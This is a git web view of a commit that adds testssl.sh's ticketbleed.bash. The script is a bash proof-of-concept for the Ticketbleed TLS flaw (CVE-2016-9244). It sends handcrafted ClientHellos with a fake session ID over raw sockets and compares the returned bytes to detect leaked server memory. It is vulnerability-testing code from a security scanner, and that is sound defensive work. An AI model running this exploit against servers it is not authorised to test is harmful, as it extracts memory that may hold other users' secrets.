summaryrefslogtreecommitdiffstats
path: root/utils/ticketbleed.bash
diff options
context:
space:
mode:
authorDaniel Baumann <daniel.baumann@progress-linux.org>2024-04-15 17:11:11 +0000
committerDaniel Baumann <daniel.baumann@progress-linux.org>2024-04-15 17:11:11 +0000
commitba28aa09cebfba17fd16de2af6fedf7ecc76eea5 (patch)
tree44e2ff1493776a06e95c359c53a1cabca5d8a8d4 /utils/ticketbleed.bash
parentInitial commit. (diff)
downloadtestssl.sh-ba28aa09cebfba17fd16de2af6fedf7ecc76eea5.tar.xz
testssl.sh-ba28aa09cebfba17fd16de2af6fedf7ecc76eea5.zip
Adding upstream version 3.2~rc3+dfsg.upstream/3.2_rc3+dfsgupstream
Signed-off-by: Daniel Baumann <daniel.baumann@progress-linux.org>
Diffstat (limited to 'utils/ticketbleed.bash')
-rwxr-xr-xutils/ticketbleed.bash352
1 files changed, 352 insertions, 0 deletions
diff --git a/utils/ticketbleed.bash b/utils/ticketbleed.bash
new file mode 100755
index 0000000..399700a
--- /dev/null
+++ b/utils/ticketbleed.bash
@@ -0,0 +1,352 @@
+#!/usr/bin/env bash
+
+# Fast and reliable POC bash socket implementation of ticketbleed (CVE-2016-9244), see also http://ticketbleed.com/
+# Author: Dirk Wetter, GPLv2 see https://testssl.sh/LICENSE.txt
+#
+# sockets inspired by http://blog.chris007.de/?p=238
+# ticketbleed inspired by https://blog.filippo.io/finding-ticketbleed/
+#
+###### DON'T DO EVIL! USAGE AT YOUR OWN RISK. DON'T VIOLATE LAWS! #######
+
+[[ -z "$1" ]] && echo "IP is missing" && exit 1
+
+readonly PS4='${LINENO}: ${FUNCNAME[0]:+${FUNCNAME[0]}(): }'
+
+OPENSSL=${OPENSSL:-$(type -p openssl)}
+TIMEOUT=${TIMEOUT:-20}
+
+# insert some hexspeak here :-)
+SID="x00,x00,x0B,xAD,xC0,xDE," # don't forget the trailing comma
+
+NODE="$1"
+PORT="${NODE#*:}"
+PORT="${PORT-443}" # probably this doesn't make sense
+NODE="${NODE%:*}" # strip port if supplied
+TLSV=${2:-01} # TLS 1.0=x01 1.1=0x02, 1.2=0x3
+MAXSLEEP=$TIMEOUT
+SOCKREPLY=""
+COL_WIDTH=32
+DEBUG=${DEBUG:-"false"}
+HELLO_READBYTES=${HELLO_READBYTES:-65535}
+
+dec2hex() { printf "x%02x" "$1"; }
+dec2hexB() {
+ a=$(printf "%04x" "$1")
+ printf "x%02s, x%02s" "${a:0:2}" "${a:2:2}"
+}
+
+LEN_SID=$(( ${#SID} / 4)) # the real length in bytes
+XLEN_SID="$(dec2hex $LEN_SID)"
+
+red=$(tput setaf 1; tput bold)
+green=$(tput bold; tput setaf 2)
+lgreen=$(tput setaf 2)
+brown=$(tput setaf 3)
+blue=$(tput setaf 4)
+magenta=$(tput setaf 5)
+cyan=$(tput setaf 6)
+grey=$(tput setaf 7)
+yellow=$(tput setaf 3; tput bold)
+normal=$(tput sgr0)
+
+send_clienthello() {
+ local -i len_ch=216 # len of clienthello, excluding TLS session ticket and SID (record layer)
+ local session_tckt_tls="$1"
+ local -i len_tckt_tls="${#1}"
+ local xlen_tckt_tls=""
+
+ len_tckt_tls=$(( len_tckt_tls / 4))
+ xlen_tckt_tls="$(dec2hex $len_tckt_tls)"
+
+ local len_handshake_record_layer="$(( LEN_SID + len_ch + len_tckt_tls ))"
+ local xlen_handshake_record_layer="$(dec2hexB "$len_handshake_record_layer")"
+ local len_handshake_ssl_layer="$(( len_handshake_record_layer + 4 ))"
+ local xlen_handshake_ssl_layer="$(dec2hexB "$len_handshake_ssl_layer")"
+
+ if $DEBUG; then
+ echo "len_tckt_tls (hex): $len_tckt_tls ($xlen_tckt_tls)"
+ echo "SID: $SID"
+ echo "LEN_SID (XLEN_SID) $LEN_SID ($XLEN_SID)"
+ echo "len_handshake_record_layer: $len_handshake_record_layer ($xlen_handshake_record_layer)"
+ echo "len_handshake_ssl_layer: $len_handshake_ssl_layer ($xlen_handshake_ssl_layer)"
+ echo "session_tckt_tls: $session_tckt_tls"
+ fi
+
+ client_hello="
+# TLS header (5 bytes)
+ ,x16, # Content type (x16 for handshake)
+ x03, x01, # TLS Version
+ # Length Secure Socket Layer follow:
+ $xlen_handshake_ssl_layer,
+# Handshake header
+ x01, # Type (x01 for ClientHello)
+ # Length of client hello follows:
+ x00, $xlen_handshake_record_layer,
+ x03, x$TLSV, # TLS Version
+# Random (32 byte) Unix time etc, see www.moserware.com/2009/06/first-few-milliseconds-of-https.html
+ xee, xee, x5b, x90, x9d, x9b, x72, x0b,
+ xbc, x0c, xbc, x2b, x92, xa8, x48, x97,
+ xcf, xbd, x39, x04, xcc, x16, x0a, x85,
+ x03, x90, x9f, x77, x04, x33, xff, xff,
+ $XLEN_SID, # Session ID length
+ $SID
+ x00, x66, # Cipher suites length
+# Cipher suites (51 suites)
+ xc0, x14, xc0, x0a, xc0, x22, xc0, x21,
+ x00, x39, x00, x38, x00, x88, x00, x87,
+ xc0, x0f, xc0, x05, x00, x35, x00, x84,
+ xc0, x12, xc0, x08, xc0, x1c, xc0, x1b,
+ x00, x16, x00, x13, xc0, x0d, xc0, x03,
+ x00, x0a, xc0, x13, xc0, x09, xc0, x1f,
+ xc0, x1e, x00, x33, x00, x32, x00, x9a,
+ x00, x99, x00, x45, x00, x44, xc0, x0e,
+ xc0, x04, x00, x2f, x00, x96, x00, x41,
+ xc0, x11, xc0, x07, xc0, x0c, xc0, x02,
+ x00, x05, x00, x04, x00, x15, x00, x12,
+ x00, x09, x00, x14, x00, x11, x00, x08,
+ x00, x06, x00, x03, x00, xff,
+ x01, # Compression methods length
+ x00, # Compression method (x00 for NULL)
+ x01, x0b, # Extensions length
+# Extension: ec_point_formats
+ x00, x0b, x00, x04, x03, x00, x01, x02,
+# Extension: elliptic_curves
+ x00, x0a, x00, x34, x00, x32, x00, x0e,
+ x00, x0d, x00, x19, x00, x0b, x00, x0c,
+ x00, x18, x00, x09, x00, x0a, x00, x16,
+ x00, x17, x00, x08, x00, x06, x00, x07,
+ x00, x14, x00, x15, x00, x04, x00, x05,
+ x00, x12, x00, x13, x00, x01, x00, x02,
+ x00, x03, x00, x0f, x00, x10, x00, x11,
+# Extension: SessionTicket TLS
+ x00, x23,
+# length of SessionTicket TLS
+ x00, $xlen_tckt_tls,
+# Session Ticket
+ $session_tckt_tls # here we have the comma already
+# Extension: Heartbeat
+ x00, x0f, x00, x01, x01"
+
+ msg=$(echo "$client_hello" | sed -e 's/# .*$//g' -e 's/ //g' | sed -E 's/^[[:space:]]+//; s/[[:space:]]+$//; /^$/d' | sed 's/,/\\/g' | tr -d '\n')
+ socksend "$msg" $TLSV
+}
+
+
+parse_hn_port() {
+ # strip "https", supposed it was supplied additionally
+ grep -q 'https://' <<< "$NODE" && NODE="$(sed -e 's/https\:\/\///' <<< "$NODE")"
+
+ # strip trailing urlpath
+ NODE=$(sed -e 's/\/.*$//' <<< "$NODE")
+
+ # determine port, supposed it was supplied additionally
+ grep -q ':' <<< "$NODE" && PORT=$(sed 's/^.*\://' <<< "$NODE") && NODE=$(sed 's/\:.*$//' <<< "$NODE")
+}
+
+wait_kill(){
+ pid=$1
+ maxsleep=$2
+ while true; do
+ if ! ps $pid >/dev/null ; then
+ return 0 # didn't reach maxsleep yet
+ fi
+ sleep 1
+ maxsleep=$((maxsleep - 1))
+ test $maxsleep -eq 0 && break
+ done # needs to be killed
+ kill $pid >&2 2>/dev/null
+ wait $pid 2>/dev/null
+ return 3 # killed
+}
+
+
+socksend() {
+ local len
+
+ data="$(echo -n $1)"
+ if "$DEBUG"; then
+ echo "\"$data\""
+ len=$(( $(wc -c <<< "$data") / 4 ))
+ echo -n "length: $len / "
+ dec2hexB $len
+ echo
+ fi
+ echo -en "$data" >&5
+}
+
+
+sockread_nonblocking() {
+ [[ "x$2" == "x" ]] && maxsleep=$MAXSLEEP || maxsleep=$2
+ ret=0
+
+ SOCKREPLY="$(dd bs=$1 count=1 <&5 2>/dev/null | hexdump -v -e '16/1 "%02X"')" &
+ wait_kill $! $maxsleep
+ ret=$?
+ echo -n -e "$SOCKREPLY" # this doesn't work as the SOCKREPLY above belngs to a bckgnd process
+ return $ret
+}
+
+sockread() {
+ dd bs=$1 count=1 <&5 2>/dev/null | hexdump -v -e '16/1 "%02X"'
+}
+
+fixme(){
+ tput bold; tput setaf 5; echo -e "\n$1\n"; tput sgr0
+}
+
+
+fd_socket(){
+ if ! exec 5<> /dev/tcp/$NODE/$PORT; then
+ echo "$(basename $0): unable to connect to $NODE:$PORT"
+ exit 2
+ fi
+}
+
+close_socket(){
+ exec 5<&-
+ exec 5>&-
+ return 0
+}
+
+cleanup() {
+ close_socket
+ echo
+ echo
+ return 0
+}
+
+
+get_sessticket() {
+ local sessticket_str
+ local output
+
+ output="$($OPENSSL s_client -connect $NODE:$PORT </dev/null 2>/dev/null)"
+ if ! grep -qw CONNECTED <<< "$output"; then
+ return 1
+ else
+ sessticket_str="$(awk '/TLS session ticket:/,/^$/' <<< "$output" | awk '!/TLS session ticket/')"
+ sessticket_str="$(sed -e 's/^.* - /x/g' -e 's/ .*$//g' <<< "$sessticket_str" | tr '\n' ',')"
+ sed -e 's/ /,x/g' -e 's/-/,x/g' <<< "$sessticket_str"
+ return 0
+ fi
+}
+
+#### main
+
+parse_hn_port "$1"
+
+early_exit=true
+declare -a memory sid_detected
+nr_sid_detected=0
+
+
+# there are different "timeout". Check whether --preserve-status is supported
+if type -p timeout &>/dev/null ; then
+ if timeout --help 2>/dev/null | grep -q 'preserve-status'; then
+ OPENSSL="timeout --preserve-status $TIMEOUT $OPENSSL"
+ else
+ OPENSSL="timeout $TIMEOUT $OPENSSL"
+ fi
+else
+ echo " binary \"timeout\" not found. Continuing without it"
+ unset TIMEOUT
+fi
+
+
+echo
+"$DEBUG" && ( echo )
+echo "##### 1) Connect to determine 1x session ticket TLS"
+# attn! neither here nor in the following client hello we do SNI. Assuming this is a vulnebilty of the TLS implementation
+SESS_TICKET_TLS="$(get_sessticket)"
+if [[ $? -ne 0 ]]; then
+ echo >&2
+ echo -e "$NODE:$PORT ${magenta}not reachable / no TLS${normal}\n " >&2
+ exit 0
+fi
+[[ "$SESS_TICKET_TLS" == "," ]] && echo -e "${green}OK, not vulnerable${normal}, no session tickets\n" && exit 0
+
+trap "cleanup" QUIT EXIT
+"$DEBUG" && ( echo; echo )
+echo "##### 2) Sending 1 to 3 ClientHello(s) (TLS version 03,$TLSV) with this ticket and a made up SessionID"
+
+# we do 3 client hellos, and see whether different memory is returned
+for i in 1 2 3; do
+ fd_socket $PORT
+
+ "$DEBUG" && echo "$i"
+ send_clienthello "$SESS_TICKET_TLS"
+
+ "$DEBUG" && ( echo; echo )
+ [[ "$i" -eq 1 ]] && echo "##### Reading server replies ($HELLO_READBYTES bytes)" && echo
+ SOCKREPLY=$(sockread $HELLO_READBYTES)
+
+ if "$DEBUG"; then
+ echo "============================="
+ echo "$SOCKREPLY"
+ echo "============================="
+ fi
+
+ if [[ "${SOCKREPLY:0:2}" == "15" ]]; then
+ echo -n "TLS Alert ${SOCKREPLY:10:4} (TLS version: ${SOCKREPLY:2:4}) -- "
+ echo "${green}OK, not vulnerable ${normal} (TLS alert)"
+ break
+ elif [[ -z "${SOCKREPLY:0:2}" ]]; then
+ echo "${green}OK, not vulnerable ${normal} (zero reply)"
+ break
+ elif [[ "${SOCKREPLY:0:2}" == "16" ]]; then
+ # we need to look into this as some servers just respond as if nothing happened
+ early_exit=false
+ "$DEBUG" && echo -n "Handshake (TLS version: ${SOCKREPLY:2:4}), "
+ if [[ "${SOCKREPLY:10:6}" == 020000 ]]; then
+ echo -n " ServerHello $i -- "
+ else
+ echo -n " Message type: ${SOCKREPLY:10:6} -- "
+ fi
+ sid_input=$(sed -e 's/x//g' -e 's/,//g' <<< "$SID")
+ sid_detected[i]="${SOCKREPLY:88:32}"
+ memory[i]="${SOCKREPLY:$((88+ len_sid*2)):$((32 - len_sid*2))}"
+ if "$DEBUG"; then
+ echo
+ echo "TLS version, record layer: ${SOCKREPLY:18:4}"
+ #echo "Random bytes / timestamp: ${SOCKREPLY:22:64}"
+ echo "memory: ${memory[i]}"
+ echo "Session ID: ${sid_detected[i]}"
+ fi
+ if grep -q $sid_input <<< "${sid_detected[i]}"; then
+ #echo -n " (${yellow}Session ID${normal}, ${red}mem returned${normal} --> "
+ echo -n "${sid_detected[i]}" | sed -e "s/$sid_input/${grey}$sid_input${normal}${blue}/g"
+ echo "${normal})"
+ else
+ echo -n "not expected server reply but likely not vulnerable"
+ fi
+ else
+ echo "TLS record ${SOCKREPLY:0:2} replied"
+ echo -n "Strange server reply, pls report"
+ break
+ fi
+done
+echo
+
+if ! "$early_exit"; then
+ # here we test the replies if a TLS server hello was received >1x
+ for i in 1 2 3 ; do
+ if grep -q $sid_input <<< "${sid_detected[i]}"; then
+ # was our faked TLS SID returned?
+ nr_sid_detected=$((nr_sid_detected + 1))
+ fi
+ done
+ if [[ $nr_sid_detected -eq 3 ]]; then
+ if [[ ${memory[1]} != ${memory[2]} ]] && [[ ${memory[2]} != ${memory[3]} ]]; then
+ echo "${red}VULNERABLE!${normal}, real memory returned"
+ else
+ echo "${green}not vulnerable ${normal} (same memory fragments returned)"
+ fi
+ else
+ echo "results ($nr_sid_detected of 3) are kind of fishy. If it persist, let Dirk know"
+ fi
+fi
+
+exit 0
+
+# vim:ts=5:sw=5:expandtab
+